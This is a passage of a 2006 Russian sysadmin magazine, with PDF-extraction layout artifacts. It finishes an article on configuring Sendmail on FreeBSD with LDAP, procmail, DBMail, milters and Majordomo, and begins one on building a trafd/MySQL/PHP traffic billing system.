информации, что упрощает её сопровож-дение (включая резервирование), позволя-ет также снизить задержки при получении информации, если объёмы данных дости-гают значительных величин.

Помимо свободной реализации служ-бы каталогов – OpenLDAP, широко исполь-зуемой в системах семейства UNIX/Linux, существует ряд других (например, Active Directory, предназначенная для управле-ния сетями Windows).

Сам протокол LDAP определён в RFC 1777, RFC 2251 (версия 3). Существует так-же большое число расширяющих и допол-няющих документов.

$ sendmail -d0.1 -bv

Version 8.13.6Compiled with: . . .SASLv2 . . .

$ telnet localhost 25

29№8, август 2006


2. Вносим изменения в /etc/make.conf:

3. Пересобираем Sendmail, как было описано для SASL (см. пункт 4).

Теперь уже знакомая нам команда должна вывести упо-минание и про LDAP:

Кстати говоря, если вы заодно хотите воспользоваться преимуществами самой последней версии Sendmail (дис-трибутивная, как правило, отстаёт на один-два минорных номера), то можно не мучиться с перекомпиляцией, а пос-тавить Sendmail из портов сразу с нужным набором функ-ций. Благо, этого добра там хватает:

После перекомпиляции (или установки) Sendmail про-верьте в /usr/local/etc/openldap/slapd.conf, подключена ли схема sendmail.schema.

Если нет, добавьте строку:

Эта команда подключит схему для Sendmail (где определе-ны допустимые атрибуты записей), что необходимо для пра-вильного заполнения нужных полей.

Теперь осталось занести в каталог LDAP необходимые записи (как это сделать, смотрите в документации по LDAP; несколько полезных ссылок приведено в конце статьи) и до-

бавить в mc-файл директивы, указывающие, что следует использовать LDAP:

Первая строка задаёт параметры LDAP-сервера, второй мы указываем, что вместо /etc/mail/access следует использо-вать службу каталогов, третьей строкой аналогично указы-ваем использовать LDAP для определения псевдонимов.

Альтернативные LDASendmail позволяет подключать практически любую про-грамму в качестве локального агента доставки, естест-венно, при условии, что эта программа будет «вести се-бя как LDA» (помните? – «если это выглядит как утка, кря-кает как утка и ходит как утка, то это – утка»). Благода-ря этому у нас есть возможность довольно сильно влиять на то, как почта будет сохраняться. Поэтому не удивительно, что помимо стандартного для FreeBSD mail.local разработа-но большое число «альтернативных» агентов доставки.

Прежде всего вспоминается очень мощная програм-ма procmail, предоставляющая широчайшие возможнос-ти по обработке почты, до того как она попадёт в почто-вый ящик пользователя. Её порой так активно используют для борьбы со спамом, что письмо в принципе может во-обще не попасть к пользователю. Недаром во многих дис-трибутивах Linux именно она работает в паре с Sendmail по умолчанию. Чтобы воспользоваться его преимущес-твами, достаточно подключить этот LDA (директивой MAILER(procmail), соответствующий m4-файл входит в стан-дартную поставку Sendmail) и указать в mailertable исполь-зование этого LDA для нужных доменов:

Второй вариант – включить в mc-файл директиву FEATURE(`local_procmail’), которая даст указание исполь-зовать procmail в качестве стандартного LDA (объявленно-го как local).

# Флаги LDAP для SendmailSENDMAIL_CFLAGS+= -I/usr/local/include -DLDAPMAPSENDMAIL_LDFLAGS+= -L/usr/local/libSENDMAIL_LDADD+= -lldap -llber

# sendmail -d0.1 -bv root | grep LDAP

Compiled with: . . . LDAPMAP . . . USE_LDAP_INIT . . .

$ make search name=sendmail | grep Port

. . . .Port: sendmail-8.13.7_1Port: sendmail+tls+sasl2+ldap-8.13.7_1Port: sendmail+tls+sasl2-8.13.7_1. . . .

your.domain procmail

define(`confLDAP_DEFAULT_SPEC', `-h ldap.your.domain.ru ↵ -b dc=your,dc=domain,dc=ru')FEATURE(`access_db', `LDAP')define(`ALIAS_FILE', `ldap:')

DBMailПрограмма DBMail, разработка которой осуществляется двумя датскими фирма-ми – IC&S и NFG, позволяет организовать хранилище пользовательских почтовых ящиков в базе данных общего назначе-ния. Поддерживаются MySQL и PostgreSQL (в версии 2.2 ожидается добавление к это-му списку и SQLite). Для небольших почто-вых серверов, обслуживающих локальную сеть вашего предприятия, дополнительное звено в цепи «почтового обслуживания» пользователей лишь снизит надёжность и усложнит сопровождение системы, прак-тически ничего не давая взамен.

Однако на системах с большим числом

пользователей или там, где от почтовой системы требуется максимальная гибкость и возможность реализовать самые различ-ные услуги (например, полнотекстовый по-иск по всему почтовому ящику с исполь-зованием веб-интерфейса) хранение всех сообщений в БД даёт почти безграничные возможности. Например, DBMail очень лег-ко позволяет задать максимальный размер почтового ящика (в случае использования традиционных хранилищ для этого прихо-дится прибегать к системному механизму установки квот на файловую систему): его нужно просто указать в команде создания нового пользователя или изменения пара-метров его учётной записи:

Любая статистика может быть полу-чена напрямую из базы данных, с помо-щью обычного SQL-запроса. Кроме того, вы можете использовать все преимущес-тва реляционных баз, такие как резерви-рование, размещение на отдельном сер-вере, кластеризация (хотя применитель-но к поддерживаемым в настоящее время СУБД её реализация требует некоторых до-полнительных усилий; см., например, ста-тью Андрея Тренина «Создаём кластер для PostgreSQL» (№1 за 2006 г.).

Помимо Sendmail поддерживаются практически все популярные MTA.

# dbmail-users -c vasya -m 100M

include /usr/share/sendmail/cf/sendmail.schema

30


Далее, если вы хотите просто перейти на использо-вание хранилища формата Maildir вместо стандартного mailbox, то в качестве LDA можно подключить, например, программу maildrop:

Здесь мы воспользовались той же самой директивой, толь-ко вместо пути к procmail указали нужный нам. Кстати, если procmail у вас установлен нестандартно (т.е. не в /usr/local/bin), то и для его подключения потребуется указывать полный путь. Естественно, для полноценной работы с Maildir ваш POP3/IMAP-сервер тоже должен уметь работать с этим форматом, впрочем, это уже совсем другая история…

Следующий шаг к совершенству – DBMailДля полного счастья хорошо бы ещё добавить гибкости почтовым ящикам пользователей. Одно из решений – ис-пользовать для их хранения реляционную СУБД, что и ре-ализуется проектом DBMail.

Подробно о DBMail здесь мы говорить не будем (этот пакет с успехом может применяться не только в связке с Sendmail, но и с другими популярными MTA). Некоторая общая информация представлена во врезке «DBMail». Так-же обратитесь к статье Евгения Прокопьева «Почтовый сер-вер на основе реляционной СУБД» (№1 за 2006 г.), где ра-бота DBMail освещена очень детально.

Поскольку размещение входящей корреспонденции по почтовым ящикам пользователей не является функци-ей MTA (как вы помните из первой части статьи, этим за-нимается агент локальной доставки (LDA)), то с точки зре-ния Sendmail его логика обработки сообщений совершен-но не меняется. Всё что требуется – это зарегистрировать DBMail в качестве LDA и дать указание Sendmail использо-вать именно его для доставки входящей корреспонденции, как мы это делали для procmail. Первая задача решается одной из следующих директив в mc-файле:

Первая строка подключает DBMail в качестве LDA, ра-ботающего обычным образом (по конвейеру (pipe)), вто-

рая – для работы по протоколу LMTP. То есть почта, для об-работки которой будет указан соответствующий агент до-ставки, будет передаваться демону dbmail, который и зай-мётся всем остальным. При необходимости можно исполь-зовать и оба агента одновременно. Правда, при установ-ке из портов файл dbmail.m4 нигде не появился, и его либо придётся создать самому, подкорректировав один из име-ющихся шаблонов (например, procmail.m4), либо найти готовый (например, здесь: http://www.dbmail.org/dokuwiki/doku.php?id=sendmail_howto).

Вторая задача (чтобы Sendmail знал, для какой поч-ты следует использовать тот или иной LDA) – настройка mailtertable для использования этого LDA:

Естественно, вы можете указать использование dbmail только для необходимых доменов. Не забудьте всё пере-собрать и перезагрузить процесс sendmail, чтобы измене-ния вступили в силу.

Думаю, можно также безболезненно воспользоваться тем же приёмом, которым мы подключали maildrop (т.е. со-здав видимость, что наш dbmail – это procmail, и восполь-зовавшись готовыми шаблонами для этого LDA). Правда, на практике это не испытывал.

Расширенные возможности фильтрацииОчень широкие возможности для обработки сообщений предоставляют появившиеся в версии 8.11.6 (неофициаль-но – с 8.10) почтовые фильтры, или «мильтеры» (milter, аб-бревиатура от Mail fILTER).

Почтовые фильтры широко применяются для взаимо-действия с такими программами, как антивирусы, спам-фильтры и т. д. То есть они, по сути, предоставляют возмож-ность «заворачивать» обрабатываемое сообщение сторон-ней программе через сетевой или UNIX-сокет. Кстати гово-ря, использование для взаимодействия сокетов позволя-ет размещать программу-фильтр на другой машине в сети, что в ряде случаев может быть полезно для централизации обработки или для снижения нагрузки на основной сервер, если фильтрация требует существенных вычислительных ресурсов или создаёт большую нагрузку на дисковую под-систему. Но нельзя забывать и о дополнительных задерж-ках в этом случае, равно как и о безопасности передавае-мой по сокету информации.

Фильтр позволяет контролировать обработку письма начиная с момента установления соединения с удалённым сервером и до полного его получения. В любой момент об-работка может быть прервана с помощью одного из фла-гов возврата: ACCEPT (принять сообщение), REJECT (от-клонить с уведомлением об этом отправителя) или DISCARD (отбросить без каких-либо уведомлений). То есть, скажем, если необходимость отклонить сообщение будет выявлена на ранних стадиях сеанса, например, на основе информа-ции, помещённой в заголовок, то это можно будет сделать до того, как письмо будет принято полностью. Ещё один пример использования такой возможности – приём сооб-щения (ACCEPT) без проверки всех вложений на вирусы, если в заголовке будет обнаружена строка, информирую-

MAILER(dbmail)MAILER(dbmail-lmtp)

your.domain dbmailother.domain dbmail-lmpt:[127.0.0.1]Рисунок 1. Схема прохождения сообщений

FEATURE(`local_procmail', `/usr/local/bin/maildrop', ↵ `maildrop -d $u')

31№8, август 2006


щая о том, что такая проверка уже выполнялась сервером отправителя (хотя всецело доверять таким заголовкам, ко-нечно же, не стоит).

Помимо решения о том, принять или отклонить сооб-щение, milter позволяет вносить изменения в тему или те-ло сообщения, добавлять строки в заголовок, и т. д. Бла-годаря этому можно, например, поместить в заголовок ин-формацию о выполненной антивирусной проверке или ос-тавить пометку, что письмо признано вероятным спамом. Именно так поступают многие антивирусные и антиспамо-вые пакеты.

Условно схема прохождения письма через подключен-ные фильтры показана на рис. 1. Фильтров может быть сколь угодно много (реальное ограничение накладывает-ся лишь нагрузкой на систему и требованиями к допусти-мой задержке при обработке сообщений). Порядок приме-нения фильтров определяется порядком их подключения в конфигурационном файле.

Кстати, о конфигурации... Подключается milter такой директивой:

Первым аргументом передаётся имя фильтра, вторым – строка параметров. Параметра может быть три: S, который задаёт используемый сокет (может быть local

и inet); F, определяющий, как поступать с письмом в случае

проблем с milter (F=T означает возвращать отправите-лю временную ошибку (temporary fail), F=R – отбросить (reject) соединение, пустое значение F= даёт указание игнорировать проблемы с milter и обрабатывать соеди-нение без фильтрации);

T задаёт несколько тайм-аутов (см. таблицу), по истече-нии которых фильтр будет признан «неотвечающим».

В нашем примере, если clamav-milter не начнёт при-нимать сообщение от Sendmail в течение четырёх минут или не даст ответ в течение такого же времени, то сообще-ние будет передано на дальнейшую обработку без филь-трации.

Вместо указанной выше директивы можно подключать фильтры и таким образом:

Здесь процедура подключения фильтра разделена на два этапа – первой директивой мы объявляем milter с ука-занными параметрами, второй – регистрируем указанный milter как фильтр для обработки сообщений. Если по такой схеме требуется подключить несколько почтовых филь-тров, то директива define нужна только одна, в которой че-рез запятую перечисляются все регистрируемые фильтры в нужном порядке.

Нужно сказать, что для разработки milter существует прекрасный API, позволяющий довольно быстро созда-

вать фильтры на родном для Sendmail языке C (в списке дополнительной литературы вы найдёте ссылку на при-мер разработки milter для дублирования исходящей поч-ты на некоторый адрес). Существуют «привязки» к это-му API для других языков программирования, например, для Perl (модуль Sendmail::Milter, в коллекции портов – mail/p5-Sendmail-Milter) и Python (интерфейс Python Milter, в Портах – mail/py-milter). Прекрасный пример разработки фильтра на Python рассматривался в статье Романа Сузи «Почтовый фильтр, или Milter = Mail + Filter» (№2 за 2003 г., статью вы можете найти на сайте журнала в разделе «Ста-тьи».).

Списки рассылкиЭлектронная почта широко используется в самых различ-ных формах. Конечно, если говорить о ведении групповых дискуссий, то есть и более удобные средства: IRC, службы новостей (NNTP), веб-форумы, наконец. Несмотря на это, списки рассылки по электронной почте до сих пор оста-ются довольно популярным способом обсуждения тех или иных проблем. Очень многие открытые проекты (например, FreeBSD.org, ALT Linux) используют рассылки для оказания технической поддержки своим пользователям, для обсуж-дения новых возможностей тестовых версий, для уведом-лений об обнаруженных проблемах безопасности…

Одной из наиболее известных систем управления спис-ками рассылки является программа Majordomo. Она очень хорошо интегрируется с серверами Sendmail и обладает до-статочным набором функций для работы с рассылками.

Установка из коллекции портов никаких сложностей не вызывает, за исключением одного небольшого нюан-са: начиная с FreeBSD 5.x Perl не является частью систе-мы и должен устанавливаться из портов, т.е. размещается в /usr/local/bin. Однако порт Majordomo по-старинке хотел видеть /usr/bin/perl. Пришлось ставить ссылку (хотя можно, конечно, и Makefile подправить):

После этого вам нужно будет указать, какой MTA будет использоваться (см. рис. 2; наш выбор, думаю, очевиден). После непродолжительной компиляции мы получим немно-го нестандартную для FreeBSD схему размещения файлов: «бинарники» и файлы конфигурации будут располагаться в /usr/local/majordomo. Наиболее важны здесь два конфи-гурационных файла – majordomo.cf, где можно изменить базовые настройки, и aliases.majordomo, содержащий на-строенный набор псевдонимов, с помощью которых будет работать Majordomo.

Принцип взаимодействия этого пакета с Sendmail доста-точно прост и основан на псевдонимах. Например, сообще-

INPUT_MAIL_FILTER(`clmilter', ↵ `S=local:/var/run/clamav/clmilter.sock, ↵ F=, T=S:4m;R:4m')

MAIL_FILTER(`miltergreylist', ↵ `S=local:/var/milter-greylist/milter-greylist.sock, ↵ F=, T=S:4m;R:4m')dnldefine(`confINPUT_MAIL_FILTERS', `miltergreylist')

Флаги тайм-аутов

Флаг Описание

C Задержка при соединении с фильтром

E Задержка при ожидании подтверждения полной передачи

R Задержка при ожидании ответа фильтра

S Задержка передачи данных фильтру

# ln /usr/local/bin/perl /usr/bin/perl

32


ние, поступающее на адрес [email protected] будет перенаправлено программе /usr/local/majordomo/wrapper и обработано в соответствии с настройками списка.

Для того чтобы Majordomo начал работать, нужно под-ключить к Sendmail его файл псевдонимов (хотя можно и просто скопировать нужные строки в /etc/mail/aliases):

Всё – Majordomo готов к работе. Отправив письмо с ко-мандой «lists» в теле на свой домен на адрес majordomo, вы получите информацию о доступных списках рассыл-ки (по умолчанию там будет test-l и test-l-digest). По об-разу и подобию вы можете создавать собственные спис-ки, для чего нужно создать пустой файл, соответствую-щий имени рассылки, в /usr/local/majordomo/lists, а также в aliases.majordomo ввести псевдонимы для самой рассыл-ки, команд, адресов владельцев и т. д. – пример можно пос-мотреть для того же демо-списка, test-l.

Дальнейшее администрирование может выполнять-ся через электронную почту. Например, чтобы поэкспе-риментировать со списком test-l, первым делом рекомен-дуется сменить пароль администратора, послав на адрес test-l-request письмо в фразой «passwd test-l test mynewpas», где test-l – имя списка, для которого меняется пароль, test – старый пароль (используется по умолчанию), mynewpas – новый пароль. В случае удачи вы получите письмо с сооб-щением «Password changed».

Впрочем, работа со списками рассылок – это уже другая тема, и здесь не будем вдаваться в подробности. Тем бо-лее что к вашим услугам – отличная страница справки, man majordomo.

Подводная часть айсбергаНа этом, пожалуй, и завершим наше знакомство с Sendmail. Естественно, даже в пределах столь объёмного цикла не-возможно охватить все аспекты работы этого мощного па-кета. Поэтому в заключение я решил привести список ссы-лок (тоже далеко не полный), по которым можно получить дополнительную информацию.

На этом всё! Удачи!

Sendmail1. Основной сайт проекта с полезной документацией – http://

www.sendmail.org.

2. Электронная версия 3-го издания «Bat Book» издательства O’Reilly – http://hell.org.ua/Docs/oreilly/other2/Sendmail_3rd.

3. Система электронной почты на основе LINUX. Руководство администратора – http://kazna.pl.ua/sysadmins/orel/chap1.htm.

4. 25 статей по различным аспектам настройки Sendmail с ис-пользованием m4 – http://vk.pp.ru/docs/sendmail/m4.

5. Настройка почтового сервиса на основе Sendmail – http://www.uinc.ru/articles/31.

6. Андрей Шетухин. Настраиваем Sendmail для виртуального почтового хостинга. – http://reki.ru/sendmail_setup.html.

7. Андрей Шетухин. Настраиваем Sendmail в качестве транзитно-го почтового релея. – http://reki.ru/sendmail_transit_setup.html.

8. Андрей Шетухин. Фильтрафия спама в sendmail. – http://reki.ru/spam-filtering.html.

9. Хорошая подборка различных статей – http://kazna.pl.ua/sysadmins/sendmail.html.

Аутентификация1. RFC 2554 (Расширение SMTP сервиса для аутентификации) –

http://www.tigir.com/rfc2554.html.2. SMTP AUTH in sendmail 8.10-8.13 – http://www.sendmail.org/~ca/

email/auth.html.3. Руководство FreeBSD. 24.10 SMTP аутентификация – http://www.

freebsd.org/doc/ru_RU.KOI8-R/books/handbook/smtp-auth.html.4. Аутентификация в sendmail – http://openbsd.hnet.spb.ru/sasl.html.5. Использование SMTP-AUTH в FreeBSD на базе MTA

Sendmail-8.13.x – http://unix1.jinr.ru/~lavr/sendmail+sasl2.6. Аутентификация пользователей – http://www.opennet.ru/docs/

RUS/Cyrus_imap/install-auth.html.7. Аутентификация SMTP: sendmail + SASL + LDAP – http://

avdor.irkutsk.ru/faq/article.php?show_id=335.

LDAP1. Арсений Чеботарёв, LDAP: каталог для всех – ht tp://

www.citforum.ru/operation_systems/linux/ldap_cat.2. Всеволод Стахов, LDAP-HOWTO по -русски – ht tp : / /

www.ldapzone.spb.ru/docs/ldap_art.phtml.3. Всеволод Стахов, Sendmail + LDAP FAQ – http://www.ldapzone.

spb.ru/docs/sendmail_ldap.phtml.4. Андрей Афлетдинов, Сохраняем настройки Sendmail в дирек-

ториях LDAP – http://www.opennet.ru/docs/RUS/mail2ldap.

Milter API1. Официальный сайт, посвящённый Milter API (здесь же можно

найти огромный архив готовых фильтров на все случаи жиз-ни) – http://www.milter.org.

2. Роман Сузи, Почтовый фильтр, или Milter = Mail + Filter – http://www.samag.ru/art/02.2003/02.2003_06.pdf.

3. Пример milter на языке C для дублирования исходящей поч-ты – http://www.opennet.ru/base/met/mail_copy_milter.txt.html.

Прочие1. Основной сайт проекта DBMail – http://www.dbmail.org.2. DBMail Documentation – http://www.helgrim.com/dbmaildocs/

installation.html.3. SMTP STARTTLS в sendmail/Secure Switch – http://linuxnews.ru/

docs/new/starttls.html.4. Majordomo and MajorCool HOWTO – http://www.opennet.ru/docs/

HOWTO/Majordomo-MajorCool-HOWTO.

Рисунок 2. Диалог выбора MTA для Majordomo

define(`ALIAS_FILE', `/etc/mail/aliases, ↵ /usr/local/majordomo/aliases.majordomo')

34


В настоящее время большинство юри-дических лиц – пользователей Интер-нета – оплачивают услуги исходя из ко-личества принятого (и/или переданно-го) трафика.

Для небольших организаций плата за трафик не является такой уж незна-чительной, и остро встаёт вопрос учета трафика, израсходованного конкрет-ным пользователем, и целей, на кото-рые этот трафик был потрачен. Проще говоря, руководству организации нуж-на информация о посещённых сайтах в случае использования протокола http, скачанных файлах в случае использо-вания протокола ftp и т. д. Причём неко-торых сотрудников бывает сложно убе-дить, что большой трафик – результат их собственных действий, если не пре-доставить подробного списка ресурсов с данными о трафике.

По тем или иным причинам (забота организации об информационной бе-зопасности, дефицит реальных IP-ад-ресов у провайдера) подключение внутренней ЛВС организации к Ин-тернету обычно происходит через ро-утер, установленный на границе меж-ду внутренней ЛВС организации и Ин-тернетом.

В качестве роутера может ис-пользоваться ПК с 2 сетевыми карта-

ми и специальным образом настро-енной (включён сервис NAT) сетевой ОС (FreeBSD, Linux, Windows, Solaris и т. д.). Или же это может быть специ-ально разработанное устройство (не-редко также использующее одну из пе-речисленных выше ОС). Возможны и другие варианты, я рассмотрю на-иболее распространенный.

В своё время передо мной была именно такая задача – учёт и ограни-чение трафика. В качестве роутера ис-пользовался ПК с 2 сетевыми карта-ми и установленной ОС FreeBSD. Не-смотря на кажущуюся распространён-ность – почти банальность – задачи, полностью устраивающее готовое ре-шение найти не удалось. (Рассмат-ривались только бесплатные систе-мы.) В результате было принято ре-шение писать собственную биллинго-вую систему.

Используемое ПОДля сбора трафика используется BPFT (http://bpft4.sourceforge.net). Систе-ма построена на основе библиотеки libpcap и использует механизм BPF (Berkley Packet Filter «pseudo-device») для захвата IP-трафика.

При выборе СУБД я выбирал между MySQL и Firebird. За Firebird было:

мой большой опыт работы с ним; наличие очень удобного инстру-

мента IBExpert (http://www.ibexpert.com).

Против: работа текущей на тот момент вер-

сии (1.5) только из-под inetd. На сер-вере этот демон не использовался и поднимать его только ради бил-линга не хотелось;

поддержка транзакций, обеспечива-ющих большую надёжность в ущерб скорости, что для нашей системы совершенно неоправданно.

В конечном счёте, я остановился на MySQL (4-я или 5-я версии, но, ду-маю, будет работать и с 3-й).

Язык программирования для об-щения с базой данных – PHP, за C-по-добный синтаксис, возможность ис-пользования программ на нём как просто в системе, так и внутри HTML-страниц.

Система учёта IP-трафикаФункционально в системе биллин-га можно условно выделить три моду-ля: учёт трафика, вывод информации об учтённом трафике и модуль разре-шения/запрещения пользования Интер-

Биллинг на FreeBSD: пишем сами, используя PHP, trafd и MySQL

Если пользователи жалуются, что Интернет «тормозит», а начальство ругается, что счета от провайдера слишком большие, покупка готового биллинга – не единственный выход.

Александр Чагадаев

35№8, август 2006


нетом. Поскольку данные в таблицы пишет первый из этих модулей, начнём раздел с описания структуры таблиц.

Структура таблицСоздадим базу данных с именем traffic. В базе создадим две таблицы: Ip – данные о IP-адресе и Log – данные о трафике. Назначение полей этих таблиц понятно из их названий.

Также создадим двух пользователей, имеющих право подсоединяться к базе данных только с локального ком-пьютера: insert_user – пользователь, который имеет право только добавлять данные в базу и view_user – пользователь, который имеет право только читать данные из базы. Паро-ли, конечно же, только для статьи – при инсталляции систе-мы рекомендуется сгенерировать более стойкие к взлому.

Как видно из скрипта create_db_&_users_&_tables.sql, в качестве формата базы был выбран – MyISAM, который обеспечивает большую скорость работы за счёт отсутствия транзакций. Параметр ROW_FORMAT определяет, каким об-разом должны храниться строки в файле базы данных. За-давая этому параметру значения fixed, мы предписываем MySQL под каждую переменную типа VARCHAR выделять не реально занимаемое её значением место, а максималь-но возможное. Например, если мы при создании базы опре-делили поле IP_TO как VARCHAR(15), то независимо от дли-ны помещённых в него данных, оно всегда будет занимать 15 байт. Хотя из-за этого файл базы данных будет занимать больше места, нам в этой ситуации важнее, что операции с базой будут проходить несколько быстрее.

Настройка ОС FreeBSDЯдро системы FreeBSD должно включать поддержку pseudo-device BPF, для чего в файле конфигурации adc-kernel должна присутствовать строка:

Что такое adc_billingНазначение: система биллинга IP-тра-фика.

Возможности: Единая база данных по IT-ресурсам

предприятия: ФИО пользователей, IP-адреса и названия их компьютеров, лимиты на пользование Интернетом, любые другие данные.

Любой пользователь может самостоя-тельно просмотреть свою статистику.

Подсчёт IP (TCP/UDP)-трафика. Встроенные отчёты для администра-

тора: суммарное количество байт, пе-

реданных с каждого и принятых на каждый из IP-адресов контро-лируемой сети и принятых на IP-ад-рес контролируемой сети с группи-ровкой по IP-адресам внешней се-ти за произвольный промежуток времени;

список IP-адресов контролируемой сети с количеством байт, передан-ных с каждого и принятых на каж-

дый из них за произвольный про-межуток времени;

список IP-адресов контролируемой сети с количеством байт, передан-ных с каждого и принятых на каж-дый из них за текущий месяц и се-годняшний день.

Отключение IP-адресов от Интернета согласно месячной таблице лимитов.

Легкость расширения системы (новые отчёты, новые модули) благодаря про-зрачной структуре таблиц и используе-мого языка программирования – PHP.

Недостатки: Аутентификация пользователей про-

изводится только по IP-адресам. Ни-как не контролируется возможная сме-на пользователем IP-адреса. Эта осо-бенность, если в конкретном случае она является недостатком, может быть устранена: нужно добавить в таблицу IP поле «MAC-адрес» и написать ма-ленький скрипт, в котором отключает-ся автоматическое присваивание соот-

ветствия MAC и IP-адресов и происхо-дит принудительное присваивание со-ответствия MAC и IP-адресов для про-токола ARP (т.н. статический ARP).

По указанной выше причине в теку-щей реализации невозможна работа на одном ПК нескольких пользовате-лей, у каждого из которых установлен собственный лимит. Поскольку на са-мостоятельную добровольную смену IP-адреса пользователем рассчиты-вать особенно не приходится, пред-ставляется возможным реализовать смену адреса с помощью скрипта.

Текущие SQL-запросы рассчитаны на использование только одной внут-ренней подсети.

Отсутствует специальный HTML-ин-терфейс для редактирования данных (в т. ч. лимитов) пользователей; ре-дактирование происходит путём не-посредственного изменения данных в БД. Этот недостаток легко устра-ним путём написания соответствую-щего модуля.

Файл create_db_&_users_&_tables.sql

CREATE DATABASE traffic DEFAULT CHARACTER SET koi8r DEFAULT COLLATE koi8r_general_ci;GRANT INSERT ON traffic.* TO 'insert_user'@'localhost' ↵ IDENTIFIED BY '123456789';GRANT SELECT ON traffic.* TO 'view_user'@'localhost' ↵ IDENTIFIED BY '987654321';USE traffic;CREATE TABLE Ip ( IP VARCHAR(15) NOT NULL PRIMARY KEY, QUOTA INTEGER, PCNAME VARCHAR(100), FNAME VARCHAR(100), MNAME VARCHAR(100), LNAME VARCHAR(100), EMAIL VARCHAR(200), INDEX(IP)) ENGINE = MyISAM;CREATE TABLE Log ( NN INTEGER(12) UNSIGNED AUTO_INCREMENT ↵ NOT NULL PRIMARY KEY, IP_FROM VARCHAR(15) NOT NULL, IP_TO VARCHAR(15) NOT NULL,

SRC_PORT VARCHAR(5) NOT NULL, DEST_PORT VARCHAR(5) NOT NULL, PROTO VARCHAR(4) NOT NULL, DATA_BYTES INTEGER NOT NULL, ALL_BYTES INTEGER NOT NULL, FIRST_TIME TIMESTAMP NOT NULL, LAST_TIME TIMESTAMP NOT NULL, INDEX(IP_FROM), INDEX(IP_TO), INDEX(SRC_PORT), ↵ INDEX(DEST_PORT), INDEX(PROTO), INDEX(ALL_BYTES), ↵ INDEX(FIRST_TIME), INDEX(IP_FROM,FIRST_TIME), ↵ INDEX(IP_TO,FIRST_TIME)) ENGINE = MyISAM ROW_FORMAT = fixed;

# The `bpf' device enables the Berkeley Packet Filter.device bpf #Berkeley packet filter

36


Я рекомендовал бы устанавливать trafd, MySQL, PHP и прочее программное обеспечение из портов (как и лю-бой софт под FreeBSD, кроме cvsup).

Примечание: порт net /cvsup зависит от системы Modula-3, которой потребуется существенный объем вре-мени и пространства на диске для загрузки и установки, по-этому обычно автор устанавливает cvsup из пакетов.

Настройка trafdНастройка основных параметров trafd осуществляется в файле rc.conf, как и должно быть у всякого порядочного демона для системы FreeBSD.

Полезна возможность пакета программ trafd, позволя-ющая существенно сэкономить усилия при написании бил-линга, который в качестве анализатора трафика использу-ет trafd – не надо писать свой парсер логов. В состав паке-та программ trafd входит утилита traflog, которая может эк-спортировать данные по трафику в любой текстовой файл в соответствии с форматом, заданным в её конфигураци-онном файле – traflog.format.

В traflog.format был прописан формат sql-команды insert для нашей базы.

Командные файлыБыли написаны два командных файла для связки trafd и MySQL: trafd_dump.sh и trafd_to_mysql.sh.

Краткое описание выполняемых действий: trafd_dump.sh даёт команду trafd скинуть данные по трафику на всех про-слушиваемых им интерфейсах во временные файлы. Ин-формация об успехе или неуспехе подачи команды сохра-няется в syslogd.

Альтернативные варианты биллинга использования ИнтернетаПервый: proxy-сервер. Давать пользо-вателям доступ в Интернет только че-рез proxy-сервер Squid, без использова-ния NAT.

Преимущества: широкие возможности аутентифика-

ции; очень гибкая возможность ограничения

доступа к определённым ресурсам; наличие в свободном доступе в Интер-

нете обновляемых баз ресурсов пор-нографического/эротического, развле-кательного и т. п. характера;

полный протокол всех посещенных пользователем страниц (а не только серверов, как в случае протоколиро-вания TCP-трафика) c указанием да-ты, времени и количества байт;

возможность блокировки рекламных баннеров, что позволяет тем самым экономить трафик как организации, так и пользователям;

кэш единожды загруженных стра-ниц, позволяющий экономить тра-фик при посещении одним пользова-телем ресурса, который уже смотрел другой;

наличие мощной и гибкой системы построения отчётов и несложного биллинга SARG (Squid Analysis Report Generator) (http://sarg.sourceforge.net).

Недостатки: не все программы поддерживают ра-

боту через proxy-сервер; невозможность отключения пользова-

теля сразу при превышении им уста-новленного лимита трафика.

Второй: NeTAMS. Использовать бил-линговую систему NeTAMS (http://www.netams.com) – очень мощную и гибкую, под-держивающую множество методов сбора информации о трафике (tee, divert, ip_queue, ulog, libpcap, netflow v5, netflow v9, netgraph) и её хранения (MySQL, PostgreSQL). Единс-твенный недостаток – отсутствие подроб-ной статистики посещённых пользовате-лем ресурсов. То есть для этой системы это, наверное, и не недостаток – у неё не-сколько другие задачи, в первую очередь сбор информации о трафике с сетевых ус-тройств фирмы Cisco, а для моего случая это недостаток.

Третий: VPN или PPPoE. Доступ в Ин-тернет можно предоставлять через VPN или PPPoE-подключение к роутеру. Для на-

шего случая при отсутствии видимых плю-сов, оказалось много минусов: переучивание пользователей процеду-

ре подсоединения к Интернету; перенастройка всех компьютеров поль-

зователей; освоение отдельной большой темы сис-

темным администратором (возмож-но, его придётся отправлять на курсы повышения квалификации, возможно, он освоит это сам, но в любом случае, больше знания/умения – больше зара-ботная плата; в случае ухода – дороже нанять нового);

усложнение системы (а значит, сниже-ние надёжности – это аксиома) из-за наличия и связывания большего коли-чества программ на роутере – на сервер придётся установить большое количес-тво дополнительно программного обес-печения (за найденными уязвимостями и выпущенными обновлениями для ко-торого тоже необходимо следить);

дополнительная нагрузка на сервер за счёт использования дополнитель-ного программного обеспечения;

дополнительная нагрузка на сетевую инфраструктуру предприятия из-за увеличения объёма трафика за счёт шифрования.

trafd_enable="YES"

trafd_ifaces="rl0 xl0"trafd_flags="-p -r"

trafd_pid="/var/run/trafd"

my_sql {

from:"insert into Log (ip_from,ip_to,src_port, ↵ dest_port,proto,data_bytes,all_bytes,first_time, ↵ last_time) values('%s',"to:"'%s',"sport:"'%s',"dport:"'%s',"proto:"'%s',"bytes:"%ld, "psize:"%ld, "ftime:"'%y-%m-%d %T',"ltime:"'%y-%m-%d %T');\n"

};

Файл trafd_dump.sh

#!/bin/sh

. /etc/rc.conf

for iface in ${trafd_ifaces}; do if [ -f ${trafd_pid}.${iface} ]; then kill -INT `cat ${trafd_pid}.${iface}` logger -t trafd_dump "signaling trafd on ${iface} ↵

37№8, август 2006


Trafd_to_mysql.sh импортирует данные по трафику на всех прослушиваемых trafd интерфейсах из времен-ных файлов, созданных trafd_dump.sh, в базу MySQL. Ин-формация об успехе или неуспехе подачи команды сохра-няется в syslogd.

Эти два файла должны регулярно запускаться. Насколь-ко регулярно – зависит от интенсивности трафика на ро-утере. Для наших условий нормально делать это каждые пять минут.

Прописываем в /etc/crontab:

Веб-интерфейс системы учёта трафикаПросмотр статистики – как пользователем, так и админис-тратором – производится через веб-интерфейс (выполнен в виде HTML-страниц с кодом на языке PHP внутри) лю-бым браузером.

